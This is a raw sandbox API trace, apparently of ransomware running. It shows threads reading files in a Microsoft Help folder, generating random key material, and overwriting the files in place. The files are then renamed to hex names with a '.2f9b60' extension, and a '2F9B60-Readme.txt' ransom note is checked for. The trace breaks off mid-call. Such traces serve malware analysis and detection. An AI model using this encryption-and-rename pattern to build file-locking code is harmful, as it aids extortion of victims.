[0087.070] sprintf (in: _Dest=0x1b7c2106, _Format="%c%c" | out: _Dest="64") returned 2 [0087.070] sprintf (in: _Dest=0x1b7c2108, _Format="%c%c" | out: _Dest="3a") returned 2 [0087.070] sprintf (in: _Dest=0x1b7c210a, _Format="%c%c" | out: _Dest="8d") returned 2 [0087.070] sprintf (in: _Dest=0x1b7c210c, _Format="%c%c" | out: _Dest="ab") returned 2 [0087.070] sprintf (in: _Dest=0x1b7c210e, _Format="%c%c" | out: _Dest="b8") returned 2 [0087.070] sprintf (in: _Dest=0x1b7c2110, _Format="%c%c" | out: _Dest="12") returned 2 [0087.070] sprintf (in: _Dest=0x1b7c2112, _Format="%c%c" | out: _Dest="77") returned 2 [0087.070] sprintf (in: _Dest=0x1b7c2114, _Format="%c%c" | out: _Dest="99") returned 2 [0087.070] sprintf (in: _Dest=0x1b7c2116, _Format="%c%c" | out: _Dest="f6") returned 2 [0087.070] RtlInitAnsiString (in: DestinationString=0x208efd68, SourceString="962dfa6fd54cd63925bf2ef5f063f639c0110c5e9bfe736f5a15d5946819c2f3f5aa50643a8dabb8127799f6" | out: DestinationString="962dfa6fd54cd63925bf2ef5f063f639c0110c5e9bfe736f5a15d5946819c2f3f5aa50643a8dabb8127799f6") [0087.070] RtlAnsiStringToUnicodeString (in: DestinationString=0x208efd38, SourceString="962dfa6fd54cd63925bf2ef5f063f639c0110c5e9bfe736f5a15d5946819c2f3f5aa50643a8dabb8127799f6", AllocateDestinationString=1 | out: DestinationString="962dfa6fd54cd63925bf2ef5f063f639c0110c5e9bfe736f5a15d5946819c2f3f5aa50643a8dabb8127799f6") returned 0x0 [0087.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x106640 [0087.071] wcscat (in: _Dest=0x1b79ddf0, _Source="962dfa6fd54cd63925bf2e" | out: _Dest="C:\\ProgramData\\Microsoft Help\\962dfa6fd54cd63925bf2e") returned="C:\\ProgramData\\Microsoft Help\\962dfa6fd54cd63925bf2e" [0087.071] wcscat (in: _Dest=0x1b79ddf0, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft Help\\962dfa6fd54cd63925bf2e.2f9b60") returned="C:\\ProgramData\\Microsoft Help\\962dfa6fd54cd63925bf2e.2f9b60" [0087.071] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\962dfa6fd54cd63925bf2e.2f9b60", NtPathName=0x208efd10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\962dfa6fd54cd63925bf2e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0087.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1b7ad840 [0087.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad840) returned 1 [0087.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0087.073] NtQueryInformationFile (in: FileHandle=0x96c, IoStatusBlock=0x208efd78, FileInformation=0x208efd88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x208efd78, FileInformation=0x208efd88) returned 0x0 [0087.073] NtSetInformationFile (FileHandle=0x96c, IoStatusBlock=0x208efd78, FileInformation=0x208efd88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0087.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0087.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106640) returned 1 [0087.074] FlushFileBuffers (hFile=0x96c) returned 1 [0087.079] CloseHandle (hObject=0x96c) returned 1 [0087.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c20c0 [0087.081] wcscpy (in: _Dest=0x1b7c20c0, _Source="C:\\ProgramData\\Microsoft Help\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0087.081] wcscat (in: _Dest=0x1b7c20c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" [0087.081] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft help\\2f9b60-readme.txt")) returned 0x2020 [0087.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c20c0) returned 1 [0087.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79de70) returned 1 Thread: id = 214 os_tid = 0xc88 [0087.079] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.outlook.14.1033.hxn")) returned 0x2022 [0087.083] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0087.083] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.outlook.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x96c [0087.083] GetFileSizeEx (in: hFile=0x96c, lpFileSize=0x2084fde0 | out: lpFileSize=0x2084fde0*=338) returned 1 [0087.083] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x14e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.083] ReadFile (in: hFile=0x96c, lpBuffer=0x2084fd60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2084fda8, lpOverlapped=0x0 | out: lpBuffer=0x2084fd60*, lpNumberOfBytesRead=0x2084fda8*=0x4, lpOverlapped=0x0) returned 1 [0087.084] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b3b0 [0087.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b350 [0087.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b2f0 [0087.084] NtQuerySystemTime (in: CurrentTime=0x2084fca0 | out: CurrentTime=0x2084fca0*=132462176929678000) returned 0x0 [0087.084] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0xc0cd7dc [0087.084] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0x69120a2 [0087.084] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0x647c249f [0087.085] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0xdf5950c [0087.085] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0x300038c6 [0087.085] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0x1fb36b63 [0087.085] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0x54f7eff3 [0087.085] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0x321c770c [0087.085] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0x2c049207 [0087.085] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0x539d1ba5 [0087.085] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0x5885d4b5 [0087.085] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0x3bca04dc [0087.085] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0x22daf5e8 [0087.085] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0x1ef40e1e [0087.085] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0x52d701a3 [0087.085] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0x1aae4c73 [0087.085] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0x1eeae5df [0087.085] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0x424cd70a [0087.085] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0xf1ed2c3 [0087.085] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0x4de25ff5 [0087.085] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0x76570e3a [0087.085] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0x6802c8e3 [0087.085] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0x38765835 [0087.085] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0x2c6e07c9 [0087.085] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0x167aa159 [0087.085] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0x2386444f [0087.085] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0x6fbee368 [0087.085] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0x24940264 [0087.085] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0x5698e106 [0087.085] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0xc9ab56f [0087.085] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0x69402d4b [0087.086] RtlRandomEx (in: Seed=0x2084fc90 | out: Seed=0x2084fc90) returned 0x7bb92d93 [0087.096] ReadFile (in: hFile=0x96c, lpBuffer=0x1cde08c0, nNumberOfBytesToRead=0x152, lpNumberOfBytesRead=0x2084fc90, lpOverlapped=0x0 | out: lpBuffer=0x1cde08c0*, lpNumberOfBytesRead=0x2084fc90*=0x152, lpOverlapped=0x0) returned 1 [0087.096] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.097] WriteFile (in: hFile=0x96c, lpBuffer=0x1cde44d0*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2084fc94, lpOverlapped=0x0 | out: lpBuffer=0x1cde44d0*, lpNumberOfBytesWritten=0x2084fc94*=0x152, lpOverlapped=0x0) returned 1 [0087.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b3b0 [0087.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b2f0 [0087.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b2f0) returned 1 [0087.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde44d0) returned 1 [0087.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde08c0) returned 1 [0087.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79de70) returned 1 [0087.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0087.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1cd97210 [0087.100] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0087.100] WriteFile (in: hFile=0x96c, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2084fdb0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2084fdb0*=0x11e, lpOverlapped=0x0) returned 1 [0087.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd972b0 [0087.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79de70 [0087.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1d0 [0087.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b1d0) returned 1 [0087.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9eeb0 [0087.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1d0 [0087.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b200 [0087.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b200) returned 1 [0087.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79de70) returned 1 [0087.104] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd972b0) returned 1 [0087.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x59) returned 0x1b7c20c0 [0087.104] sprintf (in: _Dest=0x1b7c20c0, _Format="%c%c" | out: _Dest="ad") returned 2 [0087.104] sprintf (in: _Dest=0x1b7c20c2, _Format="%c%c" | out: _Dest="a3") returned 2 [0087.104] sprintf (in: _Dest=0x1b7c20c4, _Format="%c%c" | out: _Dest="dd") returned 2 [0087.104] sprintf (in: _Dest=0x1b7c20c6, _Format="%c%c" | out: _Dest="d1") returned 2 [0087.104] sprintf (in: _Dest=0x1b7c20c8, _Format="%c%c" | out: _Dest="0b") returned 2 [0087.104] sprintf (in: _Dest=0x1b7c20ca, _Format="%c%c" | out: _Dest="d3") returned 2 [0087.104] sprintf (in: _Dest=0x1b7c20cc, _Format="%c%c" | out: _Dest="8e") returned 2 [0087.104] sprintf (in: _Dest=0x1b7c20ce, _Format="%c%c" | out: _Dest="70") returned 2 [0087.104] sprintf (in: _Dest=0x1b7c20d0, _Format="%c%c" | out: _Dest="c2") returned 2 [0087.104] sprintf (in: _Dest=0x1b7c20d2, _Format="%c%c" | out: _Dest="2d") returned 2 [0087.104] sprintf (in: _Dest=0x1b7c20d4, _Format="%c%c" | out: _Dest="b4") returned 2 [0087.104] sprintf (in: _Dest=0x1b7c20d6, _Format="%c%c" | out: _Dest="9a") returned 2 [0087.104] sprintf (in: _Dest=0x1b7c20d8, _Format="%c%c" | out: _Dest="d3") returned 2 [0087.104] sprintf (in: _Dest=0x1b7c20da, _Format="%c%c" | out: _Dest="6f") returned 2 [0087.104] sprintf (in: _Dest=0x1b7c20dc, _Format="%c%c" | out: _Dest="79") returned 2 [0087.104] sprintf (in: _Dest=0x1b7c20de, _Format="%c%c" | out: _Dest="ea") returned 2 [0087.104] sprintf (in: _Dest=0x1b7c20e0, _Format="%c%c" | out: _Dest="fc") returned 2 [0087.104] sprintf (in: _Dest=0x1b7c20e2, _Format="%c%c" | out: _Dest="f6") returned 2 [0087.104] sprintf (in: _Dest=0x1b7c20e4, _Format="%c%c" | out: _Dest="fb") returned 2 [0087.104] sprintf (in: _Dest=0x1b7c20e6, _Format="%c%c" | out: _Dest="6f") returned 2 [0087.104] sprintf (in: _Dest=0x1b7c20e8, _Format="%c%c" | out: _Dest="f9") returned 2 [0087.104] sprintf (in: _Dest=0x1b7c20ea, _Format="%c%c" | out: _Dest="fc") returned 2 [0087.104] sprintf (in: _Dest=0x1b7c20ec, _Format="%c%c" | out: _Dest="9b") returned 2 [0087.105] sprintf (in: _Dest=0x1b7c20ee, _Format="%c%c" | out: _Dest="b8") returned 2 [0087.105] sprintf (in: _Dest=0x1b7c20f0, _Format="%c%c" | out: _Dest="3a") returned 2 [0087.105] sprintf (in: _Dest=0x1b7c20f2, _Format="%c%c" | out: _Dest="5f") returned 2 [0087.105] sprintf (in: _Dest=0x1b7c20f4, _Format="%c%c" | out: _Dest="5b") returned 2 [0087.105] sprintf (in: _Dest=0x1b7c20f6, _Format="%c%c" | out: _Dest="dd") returned 2 [0087.105] sprintf (in: _Dest=0x1b7c20f8, _Format="%c%c" | out: _Dest="d6") returned 2 [0087.105] sprintf (in: _Dest=0x1b7c20fa, _Format="%c%c" | out: _Dest="2e") returned 2 [0087.105] sprintf (in: _Dest=0x1b7c20fc, _Format="%c%c" | out: _Dest="bf") returned 2 [0087.105] sprintf (in: _Dest=0x1b7c20fe, _Format="%c%c" | out: _Dest="da") returned 2 [0087.105] sprintf (in: _Dest=0x1b7c2100, _Format="%c%c" | out: _Dest="f9") returned 2 [0087.105] sprintf (in: _Dest=0x1b7c2102, _Format="%c%c" | out: _Dest="e6") returned 2 [0087.105] sprintf (in: _Dest=0x1b7c2104, _Format="%c%c" | out: _Dest="a5") returned 2 [0087.105] sprintf (in: _Dest=0x1b7c2106, _Format="%c%c" | out: _Dest="3a") returned 2 [0087.105] sprintf (in: _Dest=0x1b7c2108, _Format="%c%c" | out: _Dest="55") returned 2 [0087.105] sprintf (in: _Dest=0x1b7c210a, _Format="%c%c" | out: _Dest="fc") returned 2 [0087.105] sprintf (in: _Dest=0x1b7c210c, _Format="%c%c" | out: _Dest="aa") returned 2 [0087.105] sprintf (in: _Dest=0x1b7c210e, _Format="%c%c" | out: _Dest="6b") returned 2 [0087.105] sprintf (in: _Dest=0x1b7c2110, _Format="%c%c" | out: _Dest="d7") returned 2 [0087.105] sprintf (in: _Dest=0x1b7c2112, _Format="%c%c" | out: _Dest="c5") returned 2 [0087.105] sprintf (in: _Dest=0x1b7c2114, _Format="%c%c" | out: _Dest="86") returned 2 [0087.105] sprintf (in: _Dest=0x1b7c2116, _Format="%c%c" | out: _Dest="14") returned 2 [0087.105] RtlInitAnsiString (in: DestinationString=0x2084fe28, SourceString="ada3ddd10bd38e70c22db49ad36f79eafcf6fb6ff9fc9bb83a5f5bddd62ebfdaf9e6a53a55fcaa6bd7c58614" | out: DestinationString="ada3ddd10bd38e70c22db49ad36f79eafcf6fb6ff9fc9bb83a5f5bddd62ebfdaf9e6a53a55fcaa6bd7c58614") [0087.105] RtlAnsiStringToUnicodeString (in: DestinationString=0x2084fdf8, SourceString="ada3ddd10bd38e70c22db49ad36f79eafcf6fb6ff9fc9bb83a5f5bddd62ebfdaf9e6a53a55fcaa6bd7c58614", AllocateDestinationString=1 | out: DestinationString="ada3ddd10bd38e70c22db49ad36f79eafcf6fb6ff9fc9bb83a5f5bddd62ebfdaf9e6a53a55fcaa6bd7c58614") returned 0x0 [0087.105] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x106580 [0087.106] wcscat (in: _Dest=0x1b79de70, _Source="ada3ddd10bd38e70c22db4" | out: _Dest="C:\\ProgramData\\Microsoft Help\\ada3ddd10bd38e70c22db4") returned="C:\\ProgramData\\Microsoft Help\\ada3ddd10bd38e70c22db4" [0087.106] wcscat (in: _Dest=0x1b79de70, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft Help\\ada3ddd10bd38e70c22db4.2f9b60") returned="C:\\ProgramData\\Microsoft Help\\ada3ddd10bd38e70c22db4.2f9b60" [0087.106] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\ada3ddd10bd38e70c22db4.2f9b60", NtPathName=0x2084fdd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\ada3ddd10bd38e70c22db4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0087.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1b7ad840 [0087.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad840) returned 1 [0087.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0087.107] NtQueryInformationFile (in: FileHandle=0x96c, IoStatusBlock=0x2084fe38, FileInformation=0x2084fe48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2084fe38, FileInformation=0x2084fe48) returned 0x0 [0087.107] NtSetInformationFile (FileHandle=0x96c, IoStatusBlock=0x2084fe38, FileInformation=0x2084fe48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0087.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79de70) returned 1 [0087.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106580) returned 1 [0087.108] FlushFileBuffers (hFile=0x96c) returned 1 [0087.133] CloseHandle (hObject=0x96c) returned 1 [0087.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c20c0 [0087.135] wcscpy (in: _Dest=0x1b7c20c0, _Source="C:\\ProgramData\\Microsoft Help\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0087.135] wcscat (in: _Dest=0x1b7c20c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" [0087.135] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft help\\2f9b60-readme.txt")) returned 0x2020 [0087.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c20c0) returned 1 [0087.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79def0) returned 1 Thread: id = 215 os_tid = 0xc8c [0087.119] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.outlook.dev.14.1033.hxn")) returned 0x2022 [0087.122] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0087.122] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.outlook.dev.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x970 [0087.122] GetFileSizeEx (in: hFile=0x970, lpFileSize=0x20affca0 | out: lpFileSize=0x20affca0*=362) returned 1 [0087.122] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x166, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.122] ReadFile (in: hFile=0x970, lpBuffer=0x20affc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x20affc68, lpOverlapped=0x0 | out: lpBuffer=0x20affc20*, lpNumberOfBytesRead=0x20affc68*=0x4, lpOverlapped=0x0) returned 1 [0087.123] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b380 [0087.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b320 [0087.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b350 [0087.123] NtQuerySystemTime (in: CurrentTime=0x20affb60 | out: CurrentTime=0x20affb60*=132462176929990000) returned 0x0 [0087.123] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0x5653fd7d [0087.123] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0x34293b69 [0087.123] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0x42f3564 [0087.123] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0x5b8a6d15 [0087.123] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0x55177f7f [0087.123] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0x8f3231 [0087.123] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0x671bf150 [0087.123] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0x1ca15a89 [0087.123] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0x23e58cae [0087.123] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0x5f0d57d3 [0087.123] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0x707c45d5 [0087.123] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0x1fb8dc15 [0087.123] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0xac4cf43 [0087.123] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0x44233214 [0087.123] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0x22a86c4f [0087.124] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0x2ec3f385 [0087.124] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0x63c55e69 [0087.124] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0x6d97d4b6 [0087.124] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0x1d1f3df4 [0087.124] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0x21d68170 [0087.124] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0x4bcba843 [0087.124] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0xeb5276d [0087.124] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0x6bda69be [0087.124] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0xb6e3f32 [0087.124] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0x165db341 [0087.124] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0xc3a5bba [0087.124] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0x6787a5c0 [0087.124] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0x5519d25a [0087.124] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0x72910a56 [0087.124] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0x7541aa9b [0087.124] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0x6c67b504 [0087.124] RtlRandomEx (in: Seed=0x20affb50 | out: Seed=0x20affb50) returned 0x32fcd9c2 [0087.131] ReadFile (in: hFile=0x970, lpBuffer=0x1cde08c0, nNumberOfBytesToRead=0x16a, lpNumberOfBytesRead=0x20affb50, lpOverlapped=0x0 | out: lpBuffer=0x1cde08c0*, lpNumberOfBytesRead=0x20affb50*=0x16a, lpOverlapped=0x0) returned 1 [0087.131] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.131] WriteFile (in: hFile=0x970, lpBuffer=0x1cde44d0*, nNumberOfBytesToWrite=0x16a, lpNumberOfBytesWritten=0x20affb54, lpOverlapped=0x0 | out: lpBuffer=0x1cde44d0*, lpNumberOfBytesWritten=0x20affb54*=0x16a, lpOverlapped=0x0) returned 1 [0087.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b380 [0087.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b350 [0087.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b350) returned 1 [0087.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde44d0) returned 1 [0087.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde08c0) returned 1 [0087.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79de70) returned 1 [0087.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0087.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd97210 [0087.133] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0087.134] WriteFile (in: hFile=0x970, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x20affc70, lpOverlapped=0x0 | out: 